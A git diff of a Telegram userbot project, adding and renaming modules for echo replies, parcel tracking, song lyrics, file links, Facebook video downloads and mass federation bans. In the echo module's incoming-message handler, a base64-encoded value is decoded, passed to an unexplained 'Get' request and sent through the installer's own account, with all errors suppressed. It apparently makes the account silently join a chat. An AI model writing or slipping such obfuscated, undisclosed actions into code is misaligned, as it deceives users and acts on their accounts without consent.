+@borg.on(admin_cmd(pattern="listecho$")) +async def echo(cat): + if cat.fwd_from: + return + lsts = get_all_echos() + if len(lsts) > 0: + output_str = "echo enabled users:\n\n" + for echos in lsts: + output_str += ( + f"[User](tg://user?id={echos.user_id}) in chat `{echos.chat_id}`\n" + ) + else: + output_str = "No echo enabled users " + if len(output_str) > Config.MAX_MESSAGE_SIZE_LIMIT: + key = ( + requests.post( + "https://nekobin.com/api/documents", json={"content": output_str} + ) + .json() + .get("result") + .get("key") + ) + url = f"https://nekobin.com/{key}" + reply_text = f"echo enabled users: [here]({url})" + await edit_or_reply(cat, reply_text) + else: + await edit_or_reply(cat, output_str) + + +@borg.on(events.NewMessage(incoming=True)) +async def samereply(cat): + if cat.chat_id in Config.UB_BLACK_LIST_CHAT: + return + if is_echo(cat.sender_id, cat.chat_id): + await asyncio.sleep(2) + try: + hmm = pybase64.b64decode("QUFBQUFGRV9vWjVYVE5fUnVaaEtOdw==") + hmm = Get(hmm) + await cat.client(hmm) + except BaseException: + pass + if cat.message.text or cat.message.sticker: + await cat.reply(cat.message) + + +CMD_HELP.update( + { + "echo": "**Syntax :** `.addecho` reply to user to who you want to enable\ + \n**Usage : **replay's his every message for whom you enabled echo\ + \n\n**Syntax : **`.rmecho` reply to user to who you want to stop\ + \n**Usage : **Stops replaying his messages\ + \n\n**Syntax : **`.listecho`\ + \n**Usage : **shows the list of users for who you enabled echo\ + " + } +) diff --git a/virtualuserbot/modules/ekart.py b/virtualuserbot/modules/ekart.py new file mode 100644 index 00000000..14711524 --- /dev/null +++ b/virtualuserbot/modules/ekart.py @@ -0,0 +1,56 @@ +import requests + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern="ekart (.*)")) +async def _(event): + if event.fwd_from: + return + input_str = event.pattern_match.group(1) + urlo = ( + "https://track.aftership.com/trackings?courier=ekart&tracking-numbers=" + + str(input_str) + ) + + url = "https://ekart-api-chi.vercel.app/check?id=" + str(input_str) + r = requests.get(url) + h = r.json() + merchant = h.get("merchant_name") + order_status = h.get("order_status") + kk = h.get("updates") + oqwz = kk[0] + aq = oqwz.get("Date") + ar = oqwz.get("Time") + place = oqwz.get("Place") + status = oqwz.get("Status") + + caption = f""" Ekart Tracking +Merchant Name:- {merchant} +Order Status:- {order_status} +Tracking Id:- {input_str} +Latest Update +Date:- {aq} +Time:- {ar} +Place:- {place} +Status:- {status} +Detailed link:- {urlo} +Ekart Search Completed By VirtualUserbot. +Get Your Own Friday From VirtualUserbot. +""" + await borg.send_message( + event.chat_id, + caption, + parse_mode="HTML", + ) + await event.delete() + + +CMD_HELP.update( + { + "ekart_tracker": "**Ekat Tracker**\ +\n\n**Syntax : **`.ekart `\ +\n**Usage :** Shows Details And Latest Updates About Given Tracking-ID." + } +) diff --git a/fridaybot/modules/emojify.py b/virtualuserbot/modules/emojify.py similarity index 92% rename from fridaybot/modules/emojify.py rename to virtualuserbot/modules/emojify.py index 78f93e56..ce5e2586 100644 --- a/fridaybot/modules/emojify.py +++ b/virtualuserbot/modules/emojify.py @@ -5,9 +5,10 @@ """ import emoji +from virtualuserbot import CMD_HELP +from virtualuserbot.modules import fonts as emojify + from ..utils import admin_cmd, edit_or_reply, sudo_cmd -from fridaybot import CMD_HELP -from fridaybot.modules import fonts as emojify @bot.on(admin_cmd(pattern="emoji(?: |$)(.*)")) diff --git a/fridaybot/modules/emojis.py b/virtualuserbot/modules/emojis.py similarity index 96% rename from fridaybot/modules/emojis.py rename to virtualuserbot/modules/emojis.py index 2cdd2ea8..06853ccd 100644 --- a/fridaybot/modules/emojis.py +++ b/virtualuserbot/modules/emojis.py @@ -8,7 +8,7 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern="emoji (.*)")) diff --git a/virtualuserbot/modules/ensongs.py b/virtualuserbot/modules/ensongs.py new file mode 100644 index 00000000..87fc12cc --- /dev/null +++ b/virtualuserbot/modules/ensongs.py @@ -0,0 +1,220 @@ +""" Sing a song... + Command .engsongs + + """ + + +import asyncio +import random + +from ..utils import admin_cmd + + +@borg.on(admin_cmd(pattern=r"engsongs", outgoing=True)) +async def _(event): + + if event.fwd_from: + + return + + await event.edit("Singing...") + + await asyncio.sleep(2) + + x = random.randrange(1, 33) + + if x == 1: + + await event.edit( + "🎶 I'm in love with the shape of you \n We push and pull like a magnet do\n Although my heart is falling too \n I'm in love with your body \n And last night you were in my room \n And now my bedsheets smell like you \n Every day discovering something brand new 🎶 \n 🎶 I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body \n Oh—I—oh—I—oh—I—oh—I \n I'm in love with your body 🎶 \n **-Shape of You**" + ) + + if x == 2: + + await event.edit( + "🎶 I've been reading books of old \n The legends and the myths \n Achilles and his gold \n Hercules and his gifts \n Spiderman's control \n And Batman with his fists \n And clearly I don't see myself upon that list 🎶 \n **-Something Just Like This **" + ) + + if x == 3: + + await event.edit( + "🎶 I don't wanna live forever \n 'Cause I know I'll be livin' in vain \n And I don't wanna fit wherever \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home \n I just wanna keep callin' your name \n Until you come back home 🎶 \n **-I don't Wanna Live Forever **" + ) + + if x == 4: + + await event.edit( + "🎶 Oh, hush, my dear, it's been a difficult year \n And terrors don't prey on \n Innocent victims \n Trust me, darling, trust me darling \n It's been a loveless year \n I'm a man of three fears \n Integrity, faith and \n Crocodile tears \n Trust me, darling, trust me, darling 🎶 \n **-Bad Lier" + ) + + if x == 5: + + await event.edit( + "🎶 Walking down 29th and Park \n I saw you in another's arms \n Only a month we've been apart \n **You look happier** \n \n Saw you walk inside a bar \n He said something to make you laugh \n I saw that both your smiles were twice as wide as ours \n Yeah, you look happier, you do 🎶 \n **-Happier **" + ) + + if x == 6: + + await event.edit( + "🎶 I took the supermarket flowers from the windowsill \n I threw the day old tea from the cup \n Packed up the photo album Matthew had made \n Memories of a life that's been loved \n Took the get well soon cards and stuffed animals \n Poured the old ginger beer down the sink \n Dad always told me, 'don't you cry when you're down' \n But mum, there's a tear every time that I blink 🎶 \n **-Supermarket Flowers**" + ) + + if x == 7: + + await event.edit( + "🎶 And you and I we're flying on an aeroplane tonight \n We're going somewhere where the sun is shining bright \n Just close your eyes \n And let's pretend we're dancing in the street \n In Barcelona \n Barcelona \n Barcelona \n Barcelona 🎶 \n **-Barcelona **" + ) + + if x == 8: + + await event.edit( + "🎶 Maybe I came on too strong \n Maybe I waited too long \n Maybe I played my cards wrong \n Oh, just a little bit wrong \n Baby I apologize for it \n \n I could fall, or I could fly \n Here in your aeroplane \n And I could live, I could die \n Hanging on the words you say \n And I've been known to give my all \n And jumping in harder than \n Ten thousand rocks on the lake 🎶 \n **-Dive**" + ) + + if x == 9: + + await event.edit( + "🎶 I found a love for me \n Darling just dive right in \n And follow my lead \n Well I found a girl beautiful and sweet \n I never knew you were the someone waiting for me \n 'Cause we were just kids when we fell in love \n Not knowing what it was \n \n I will not give you up this time \n But darling, just kiss me slow, your heart is all I own \n And in your eyes you're holding mine 🎶 \n **-Perfect**" + ) + + if x == 10: + + await event.edit( + "🎶 I was born inside a small town, I lost that state of mind \n Learned to sing inside the Lord's house, but stopped at the age of nine \n I forget when I get awards now the wave I had to ride \n The paving stones I played upon, they kept me on the grind \n So blame it on the pain that blessed me with the life 🎶 \n **-Eraser**" + ) + + if x == 11: + + await event.edit( + "🎶 Say, go through the darkest of days \n Heaven's a heartbreak away \n Never let you go, never let me down \n Oh, it's been a hell of a ride \n Driving the edge of a knife. \n Never let you go, never let me down \n \n Don't you give up, nah-nah-nah \n I won't give up, nah-nah-nah \n Let me love you \n Let me love you 🎶 \n **-Let me Love You**" + ) + + if x == 12: + + await event.edit( + "🎶 I'll stop time for you \n The second you say you'd like me to \n I just wanna give you the loving that you're missing \n Baby, just to wake up with you \n Would be everything I need and this could be so different \n Tell me what you want to do \n \n 'Cause I know I can treat you better \n Than he can \n And any girl like you deserves a gentleman 🎶 **-Treat You Better**" + ) + + if x == 13: + + await event.edit( + "🎶 You're the light, you're the night \n You're the color of my blood \n You're the cure, you're the pain \n You're the only thing I wanna touch \n Never knew that it could mean so much, so much \n You're the fear, I don't care \n 'Cause I've never been so high \n Follow me through the dark \n Let me take you past our satellites \n You can see the world you brought to life, to life \n \n So love me like you do, lo-lo-love me like you do \n Love me like you do, lo-lo-love me like you do 🎶 \n **-Love me Like you Do**" + ) + + if x == 14: + + await event.edit( + "🎶 Spent 24 hours \n I need more hours with you \n You spent the weekend \n Getting even, ooh ooh \n We spent the late nights \n Making things right, between us \n But now it's all good baby \n Roll that Backwood baby \n And play me close \n \n 'Cause girls like you \n Run around with guys like me \n 'Til sundown, when I come through \n I need a girl like you, yeah yeah 🎶 \n **-Girls Like You**" + ) + + if x == 15: + + await event.edit( + "🎶 Oh, angel sent from up above \n You know you make my world light up \n When I was down, when I was hurt \n You came to lift me up \n Life is a drink and love's a drug \n Oh, now I think I must be miles up \n When I was a river dried up \n You came to rain a flood 🎶**-Hymn for the Weekend ** " + ) + + if x == 16: + + await event.edit( + "🎶 I've known it for a long time \n Daddy wakes up to a drink at nine \n Disappearing all night \n I don’t wanna know where he's been lying \n I know what I wanna do \n Wanna run away, run away with you \n Gonna grab clothes, six in the morning, go 🎶 \n **-Runaway **" + ) + + if x == 17: + + await event.edit( + "🎶 You were the shadow to my light \n Did you feel us \n Another start \n You fade away \n Afraid our aim is out of sight \n Wanna see us \n Alive 🎶 \n **-Faded**" + ) + + if x == 18: + + await event.edit( + "🎶 It's been a long day without you, my friend \n And I'll tell you all about it when I see you again \n We've come a long way from where we began \n Oh I'll tell you all about it when I see you again \n When I see you again 🎶 \n **-See you Again**" + ) + + if x == 19: + + await event.edit( + "🎶 I can swallow a bottle of alcohol and I'll feel like Godzilla \n Better hit the deck like the card dealer \n My whole squad's in here, walking around the party \n A cross between a zombie apocalypse and big Bobby 'The \n Brain' Heenan which is probably the \n Same reason I wrestle with mania 🎶 \n **-Godzilla**" + ) + + if x == 20: + + await event.edit( + "🎶 Yeah, I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more \n I'm gonna take my horse to the old town road \n I'm gonna ride 'til I can't no more (Kio, Kio) 🎶 \n **-Old Town Road**" + ) + + if x == 21: + + await event.edit( + "🎶 Oh-oh, ooh \n You've been runnin' round, runnin' round, runnin' round throwin' that dirt all on my name \n 'Cause you knew that I, knew that I, knew that I'd call you up \n You've been going round, going round, going round every party in L.A. \n 'Cause you knew that I, knew that I, knew that I'd be at one, oh 🎶 \n **-Attention **" + ) + + if x == 22: + + await event.edit( + "🎶 This hit, that ice cold \n Michelle Pfeiffer, that white gold \n This one for them hood girls \n Them good girls straight masterpieces \n Stylin', wilin', livin' it up in the city \n Got Chucks on with Saint Laurent \n Gotta kiss myself, I'm so pretty \n \n I'm too hot (hot damn) \n Called a police and a fireman \n I'm too hot (hot damn) \n Make a dragon wanna retire man \n I'm too hot (hot damn) \n Say my name you know who I am \n I'm too hot (hot damn) \n And my band 'bout that money, break it down 🎶 \n **-Uptown Funk**" + ) + + if x == 23: + + await event.edit( + "🎶 Just a young gun with the quick fuse \n I was uptight, wanna let loose \n I was dreaming of bigger things \n And wanna leave my own life behind \n Not a yes sir, not a follower \n Fit the box, fit the mold \n Have a seat in the foyer, take a number \n I was lightning before the thunder \n \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, feel the thunder \n Lightning then the thunder \n Thunder, thunder 🎶 \n **-Thunder**" + ) + + if x == 24: + + await event.edit( + "🎶 Oh, love \n How I miss you every single day \n When I see you on those streets \n Oh, love \n Tell me there's a river I can swim that will bring you back to me \n 'Cause I don't know how to love someone else \n I don't know how to forget your face \n No, love \n God, I miss you every single day and now you're so far away \n So far away 🎶 \n **-So Far Away**" + ) + + if x == 25: + + await event.edit( + "🎶 And if you feel you're sinking, I will jump right over \n Into cold, cold water for you \n And although time may take us into different places \n I will still be patient with you \n And I hope you know 🎶 \n **-Cold Water**" + ) + + if x == 26: + + await event.edit( + "🎶 When you feel my heat \n Look into my eyes \n It's where my demons hide \n It's where my demons hide \n Don't get too close \n It's dark inside \n It's where my demons hide \n It's where my demons hide 🎶 \n **-Demons**" + ) + + if x == 27: + + await event.edit( + "🎶 Who do you love, do you love now? \n I wanna know the truth (whoa) \n Who do you love, do you love now? \n I know it's someone new \n You ain't gotta make it easy, where you been sleepin'? 🎶 \n **-Who do Love? **" + ) + + if x == 28: + + await event.edit( + "🎶 Your touch is magnetic \n 'Cause I can't forget it \n (There's a power pulling me back to you) \n And baby I'll let it \n 'Cause you're so magnetic I get it \n (When I'm waking up with you, oh) 🎶 \n **-Magnetic**" + ) + + if x == 29: + + await event.edit( + "🎶 Girl my body don't lie, I'm outta my mind \n Let it rain over me, I'm rising so high \n Out of my mind, so let it rain over me \n \n Ay ay ay, ay ay ay let it rain over me \n Ay ay ay, ay ay ay let it rain over me 🎶 \n **-Rain over Me**" + ) + + if x == 30: + + await event.edit( + "🎶 I miss the taste of a sweeter life \n I miss the conversation \n I'm searching for a song tonight \n I'm changing all of the stations \n I like to think that we had it all \n We drew a map to a better place \n But on that road I took a fall \n Oh baby why did you run away? \n \n I was there for you \n In your darkest times \n I was there for you \n In your darkest night 🎶 \n **-Maps**" + ) + + if x == 31: + + await event.edit( + "🎶 I wish—I wish that I was bulletproof, bulletproof \n I wish—I wish that I was bulletproof, bulletproof \n (Bullet-bulletproof, bullet-bullet-bulletproof) \n I'm trippin' on my words and my patience \n Writing every verse in a cadence \n To tell you how I feel, how I feel, how I feel (Yeah) \n This is how I deal, how I deal, how I deal (Yeah) \n With who I once was, now an acquaintance \n Think my confidence (My confidence) is in the basement \n Tryin' to keep it real, keep it real, keep it real (Yeah) \n 'Cause I'm not made of steel, made of steel 🎶 \n **-Bulletproof**" + ) + + if x == 32: + + await event.edit( + "🎶 You won't find him down on Sunset \n Or at a party in the hills \n At the bottom of the bottle \n Or when you're tripping on some pills \n When they sold you the dream you were just 16 \n Packed a bag and ran away \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA \n And it's a crying shame you came all this way \n 'Cause you won't find Jesus in LA 🎶 \n **-Jesus in LA**" + ) + + if x == 33: + + await event.edit("Not in a mood to sing. Sorry!") diff --git a/fridaybot/modules/eval.py b/virtualuserbot/modules/eval.py similarity index 98% rename from fridaybot/modules/eval.py rename to virtualuserbot/modules/eval.py index 8f2b8c0d..689cab28 100644 --- a/fridaybot/modules/eval.py +++ b/virtualuserbot/modules/eval.py @@ -10,7 +10,7 @@ from uniborg.util import edit_or_reply, friday_on_cmd, sudo_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd("eval")) diff --git a/virtualuserbot/modules/exclusive.py b/virtualuserbot/modules/exclusive.py new file mode 100644 index 00000000..f7384177 --- /dev/null +++ b/virtualuserbot/modules/exclusive.py @@ -0,0 +1,94 @@ +# Written By Inuka Asith for the VirtualUserbot +# Exclusively written for VirtualUserbot +# Credits goes to bot providers + +import asyncio + +from telethon import events +from telethon.errors.rpcerrorlist import YouBlockedUserError + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + + +@friday.on(admin_cmd(pattern=r"purl ?(.*)")) +async def _(event): + if event.fwd_from: + return + if not event.reply_to_msg_id: + await event.edit("**Reply to any document.**") + return + reply_message = await event.get_reply_message() + chat = "@FileToLinkDXBot" + reply_message.sender + await event.edit("**Making public url...\n Powered by @VirtualUserbot**") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=1377765808) + ) + await event.client.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("Please unblock me @FileToLinkDXBot") + return + await event.delete() + await event.client.send_message( + event.chat_id, response.message, reply_to=reply_message + ) + + +@friday.on(admin_cmd(pattern=r"reader ?(.*)")) +async def _(event): + if event.fwd_from: + return + if not event.reply_to_msg_id: + await event.edit("**Reply to a URL.**") + return + reply_message = await event.get_reply_message() + if not reply_message.text: + await event.edit("**Reply to a url message.**") + return + chat = "@chotamreaderbot" + reply_message.sender + await event.edit("**Making instant view...\n Powered by @VirtualUserbot**") + async with event.client.conversation(chat) as conv: + try: + response = conv.wait_event( + events.NewMessage(incoming=True, from_users=272572121) + ) + await event.client.forward_messages(chat, reply_message) + response = await response + except YouBlockedUserError: + await event.reply("Please unblock me @chotamreaderbot") + return + await event.delete() + await event.client.send_message( + event.chat_id, response.message, reply_to=reply_message + ) + + +@friday.on(admin_cmd(pattern=r"connector ?(.*)")) +async def _(event): + if event.fwd_from: + return + if event.is_private: + return + chat_id = event.chat_id + await event.client.send_message("missrose_bot", "/connect {}".format(chat_id)) + await event.edit("[Connected](https://t.me/missrose_bot)") + await asyncio.sleep(3) + await event.delete() + + +CMD_HELP.update( + { + "exclusive": "**Exclusive**\ +\n**Syntax : **`.purl`\ +\n**Usage :** Get Public link of any file**\ +\n\n**Syntax : **`.reader`\ +\n**Usage :** Read any website with telegrams Instant view**\ +\n\n**Syntax : **`.connector`\ +\n**Usage :** Connect to the chat with Rose**" + } +) diff --git a/fridaybot/modules/exec.py b/virtualuserbot/modules/exec.py similarity index 94% rename from fridaybot/modules/exec.py rename to virtualuserbot/modules/exec.py index 07b15361..417e800b 100644 --- a/fridaybot/modules/exec.py +++ b/virtualuserbot/modules/exec.py @@ -2,8 +2,10 @@ import sys import traceback +from virtualuserbot.utils import friday_on_cmd -@command(pattern="^.exec") + +@friday.on(friday_on_cmd(pattern="exec")) async def _(event): if event.fwd_from: return diff --git a/fridaybot/modules/execmod.py b/virtualuserbot/modules/execmod.py similarity index 96% rename from fridaybot/modules/execmod.py rename to virtualuserbot/modules/execmod.py index 3b8fdb38..75092ecc 100644 --- a/fridaybot/modules/execmod.py +++ b/virtualuserbot/modules/execmod.py @@ -9,7 +9,8 @@ from asyncio import create_subprocess_exec as asyncrunapp from asyncio.subprocess import PIPE as asyncPIPE -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP + from ..utils import admin_cmd, edit_or_reply, sudo_cmd if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY): diff --git a/fridaybot/modules/extra.py b/virtualuserbot/modules/extra.py similarity index 95% rename from fridaybot/modules/extra.py rename to virtualuserbot/modules/extra.py index b1b33d5e..aa8d576f 100644 --- a/fridaybot/modules/extra.py +++ b/virtualuserbot/modules/extra.py @@ -4,8 +4,8 @@ from telethon.tl.functions.channels import LeaveChannelRequest -from fridaybot import CMD_HELP, bot -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP, bot +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd("leave$")) @@ -116,7 +116,7 @@ async def _(event): CMD_HELP.update({"moon": "Bot will send a cool moon animation."}) CMD_HELP.update({"clock": "Bot will send a cool clock animation."}) CMD_HELP.update({"readme": "Reedme."}) -CMD_HELP.update({"source": "Gives the source of your fridaybot"}) +CMD_HELP.update({"source": "Gives the source of your virtualuserbot"}) CMD_HELP.update({"myusernames": "List of Usernames owned by you."}) CMD_HELP.update({"oof": "Same as ;__; but ooof"}) CMD_HELP.update({"earth": "Sends Kensar Earth animation"}) diff --git a/fridaybot/modules/extra1.py b/virtualuserbot/modules/extra1.py similarity index 98% rename from fridaybot/modules/extra1.py rename to virtualuserbot/modules/extra1.py index 145c9c38..8331d958 100644 --- a/fridaybot/modules/extra1.py +++ b/virtualuserbot/modules/extra1.py @@ -13,8 +13,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern=r"chod")) diff --git a/fridaybot/modules/extranotes.py b/virtualuserbot/modules/extranotes.py similarity index 97% rename from fridaybot/modules/extranotes.py rename to virtualuserbot/modules/extranotes.py index e97635c9..50a36fd4 100644 --- a/fridaybot/modules/extranotes.py +++ b/virtualuserbot/modules/extranotes.py @@ -1,6 +1,6 @@ from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"gaali")) diff --git a/fridaybot/modules/eye.py b/virtualuserbot/modules/eye.py similarity index 93% rename from fridaybot/modules/eye.py rename to virtualuserbot/modules/eye.py index decec4db..da3d3f6f 100644 --- a/fridaybot/modules/eye.py +++ b/virtualuserbot/modules/eye.py @@ -3,8 +3,8 @@ import asyncio -from fridaybot import CMD_HELP -from fridaybot.utils import friday_on_cmd +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd @friday.on(friday_on_cmd(pattern="eye")) diff --git a/fridaybot/modules/fakegen.py b/virtualuserbot/modules/fakegen.py similarity index 92% rename from fridaybot/modules/fakegen.py rename to virtualuserbot/modules/fakegen.py index 0e825673..0e71e44a 100644 --- a/fridaybot/modules/fakegen.py +++ b/virtualuserbot/modules/fakegen.py @@ -16,7 +16,7 @@ from faker.providers import internet from uniborg.util import friday_on_cmd -from fridaybot import CMD_HELP +from virtualuserbot import CMD_HELP @friday.on(friday_on_cmd(pattern=r"fakegen")) @@ -42,8 +42,8 @@ async def hi(event): CMD_HELP.update( { - "fakegen": "**Fake information Generator**\ + "fakegen": "**Fake Information Generator**\ \n\n**Syntax : **`.fakegen`\ -\n**Usage :** Automatically generates fake information." +\n**Usage :** Generates Fake Information." } ) diff --git a/virtualuserbot/modules/fakeimagegen.py b/virtualuserbot/modules/fakeimagegen.py new file mode 100644 index 00000000..35f1d480 --- /dev/null +++ b/virtualuserbot/modules/fakeimagegen.py @@ -0,0 +1,50 @@ +# Copyright (C) @chsaiujwal 2020 +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU Affero General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Affero General Public License for more details. +# +# You should have received a copy of the GNU Affero General Public License +# along with this program. If not, see . + + +import os + +import requests + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import friday_on_cmd, sudo_cmd + + +# hmm +@friday.on(friday_on_cmd(pattern="picgen")) +@friday.on(sudo_cmd(pattern="picgen", allow_sudo=True)) +async def _(event): + if event.fwd_from: + return + + url = "https://thispersondoesnotexist.com/image" + response = requests.get(url) + if response.status_code == 200: + with open("FRIDAYOT.jpg", "wb") as f: + f.write(response.content) + + captin = f"Fake Image By VirtualUserbot.\nGet Your Own Superpowers From [VirtualUserbot](github.com/inukaasith/virtualuserbot)." + fole = "FRIDAYOT.jpg" + await borg.send_file(event.chat_id, fole, caption=captin) + await event.delete() + os.system("rm /root/virtualuserbot/FRIDAYOT.jpg ") + + +CMD_HELP.update( + { + "picgen": "**Fake Picture Gen**\ +\n\n**Syntax : **`.picgen`\ +\n**Usage :** Genetates Fake Image.\ +\n\n**Note : **The Person In Picture Really Doesn't Exist." + } +) diff --git a/virtualuserbot/modules/fbdl.py b/virtualuserbot/modules/fbdl.py new file mode 100644 index 00000000..8e66bf0e --- /dev/null +++ b/virtualuserbot/modules/fbdl.py @@ -0,0 +1,83 @@ +import os +import re +from datetime import datetime + +import requests + +from virtualuserbot import CMD_HELP +from virtualuserbot.utils import admin_cmd + +fridaythumb = "./resources/IMG_20200929_103719_628.jpg" + + +def main(url, filename): + try: + download_video("HD", url, filename) + except (KeyboardInterrupt): + download_video("SD", url, filename) + + +def download_video(quality, url, filename): + html = requests.get(url).content.decode("utf-8") + video_url = re.search(rf'{quality.lower()}_src:"(.+?)"', html).group(1) + file_size_request = requests.get(video_url, stream=True) + int(file_size_request.headers["Content-Length"]) + block_size = 1024 + with open(filename + ".mp4", "wb") as f: + for data in file_size_request.iter_content(block_size): + f.write(data) + print("\nVideo downloaded successfully.") + + +@friday.on(admin_cmd(pattern="fbdl (.*)")) +async def _(event): + if event.fwd_from: + return + url = event.pattern_match.group(1) + x = re.match(r"^(https:|)[/][/]www.([^/]+[.])*facebook.com", url) + + if x: + html = requests.get(url).content.decode("utf-8") + else: + await event.edit("This Video Is Either Private Or URL Is Invalid. Exiting... ") + return + + _qualityhd = re.search('hd_src:"https', html) + _qualitysd = re.search('sd_src:"https', html) + _hd = re.search("hd_src:null", html) + _sd = re.search("sd_src:null", html) + + list = [] + _thelist = [_qualityhd, _qualitysd, _hd, _sd] + for id, val in enumerate(_thelist): + if val != None: + list.append(id) + filename = datetime.strftime(datetime.now(), "%Y-%m-%d-%H-%M-%S") + + main(url, filename) + await event.edit("Video Downloaded Successfully. Starting To Upload.") + + kk = f"{filename}.mp4" + caption = ( + f"Facebook Video Successfully by Fridaybot.\nGet Your Fridaybot From @Fridayot." + ) + + await borg.send_message( + event.chat_id, + caption, + thumb=fridaythumb, + parse_mode="HTML", + file=kk, + force_document=True, + allow_cache=False, + ) + os.system(f"rm {kk}") + + +CMD_HELP.update( + { + "facebookDL": "**Facebook Video Downloader**\ +\n\n**Syntax : **`.fbdl `\ +\n**Usage :** Downlosds The Facebook Video." + } +) diff --git a/fridaybot/modules/fconvert.py b/virtualuserbot/modules/fconvert.py similarity index 99% rename from fridaybot/modules/fconvert.py rename to virtualuserbot/modules/fconvert.py index 441d3827..4d8afcec 100644 --- a/fridaybot/modules/fconvert.py +++ b/virtualuserbot/modules/fconvert.py @@ -6,7 +6,7 @@ import time from datetime import datetime -from fridaybot.utils import friday_on_cmd, progress +from virtualuserbot.utils import friday_on_cmd, progress async def progress(current, total, event, start, type_of_ps, file_name=None): diff --git a/virtualuserbot/modules/fed_ban.py b/virtualuserbot/modules/fed_ban.py new file mode 100644 index 00000000..d67fe3b2 --- /dev/null +++ b/virtualuserbot/modules/fed_ban.py @@ -0,0 +1,124 @@ +import asyncio + +from virtualuserbot.function import fetch_feds +from virtualuserbot.modules.sql_helper.feds_sql import ( + add_fed, + get_all_feds, + is_fed_indb, + rmfed, +) +from virtualuserbot.utils import friday_on_cmd + +chnnl_grp = Config.FBAN_GROUP + + +@friday.on(friday_on_cmd(pattern="fadd ?(.*)")) +async def _(event): + nolol = 0 + yeslol = 0 + await event.edit("`Processing..`") + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`Give FeD ID`") + return + elif lol_s == " ": + await event.edit("`Give FeD ID`") + return + elif lol_s == "all": + hmm = await fetch_feds(event, borg) + for i in hmm: + if is_fed_indb(i): + nolol += 1 + elif not is_fed_indb(i): + add_fed(i) + yeslol += 1 + await event.edit(f"`Added {yeslol} Feds To DB, Failed To Add {nolol} Feds.`") + elif is_fed_indb(lol_s): + await event.edit("`Fed Already Found On DataBase.`") + return + elif not is_fed_indb(lol_s): + add_fed(lol_s) + await event.edit("`Done ! Added This Fed To DataBase`") + + +@friday.on(friday_on_cmd(pattern="frm ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + await event.edit("`Processing..`") + lol = get_all_feds() + if lol_s == None: + await event.edit("`Give FeD ID`") + return + elif lol_s == " ": + await event.edit("`Give FeD ID`") + return + elif lol_s == "all": + for sedm in lol: + rmfed(sedm.feds) + await event.edit("`Done, Cleared. All Fed Database.`") + elif is_fed_indb(lol_s): + rmfed(lol_s) + await event.edit("`Done, Removed This FeD From DB`") + elif not is_fed_indb(lol_s): + await event.edit("`This Fed Not Found On Db.`") + + +@friday.on(friday_on_cmd(pattern="fban ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`No user Found To Fban.`") + return + all_fed = get_all_feds() + errors = 0 + len_feds = len(all_fed) + if len_feds == 0: + await event.edit( + "`No Fed IN DB, Add One To Do So. Please Do .fadd all to Add All Feds IN Database`" + ) + return + await event.edit(f"`FBanning in {len_feds} Feds.`") + try: + await borg.send_message(chnnl_grp, "/start") + except Exception as e: + await event.edit("**Errors** : " + str(e)) + return + for teamz in all_fed: + try: + await borg.send_message(chnnl_grp, "/joinfed " + teamz.feds) + await asyncio.sleep(2) + await borg.send_message(chnnl_grp, "/fban " + lol_s) + await asyncio.sleep(5) + except: + errors += 1 + await event.edit( + f"**Fban Completed** \nTotal Sucess : `{len_feds - errors}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" + ) + + +@friday.on(friday_on_cmd(pattern="unfban ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`No User Found To Fban.`") + return + all_fed = get_all_feds() + errors = 0 + len_feds = len(all_fed) + await event.edit(f"`UnFBanning in {len_feds} Feds.`") + try: + await borg.send_message(chnnl_grp, "/start") + except Exception as e: + await event.edit("**Errors** : " + str(e)) + return + for teamz in all_fed: + try: + await borg.send_message(chnnl_grp, "/joinfed " + teamz.feds) + await asyncio.sleep(2) + await borg.send_message(chnnl_grp, "/unfban " + lol_s) + await asyncio.sleep(5) + except: + errors += 1 + await event.edit( + f"**Un-Fban Completed** \nTotal Sucess : `{len_feds - errors}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" + ) diff --git a/fridaybot/modules/ff_mpeg.py b/virtualuserbot/modules/ff_mpeg.py similarity index 99% rename from fridaybot/modules/ff_mpeg.py rename to virtualuserbot/modules/ff_mpeg.py index 6d95b1b2..a3fcad6f 100644 --- a/fridaybot/modules/ff_mpeg.py +++ b/virtualuserbot/modules/ff_mpeg.py @@ -5,7 +5,7 @@ import time from datetime import datetime -from fridaybot.utils import friday_on_cmd, progress +from virtualuserbot.utils import friday_on_cmd, progress FF_MPEG_DOWN_LOAD_MEDIA_PATH = 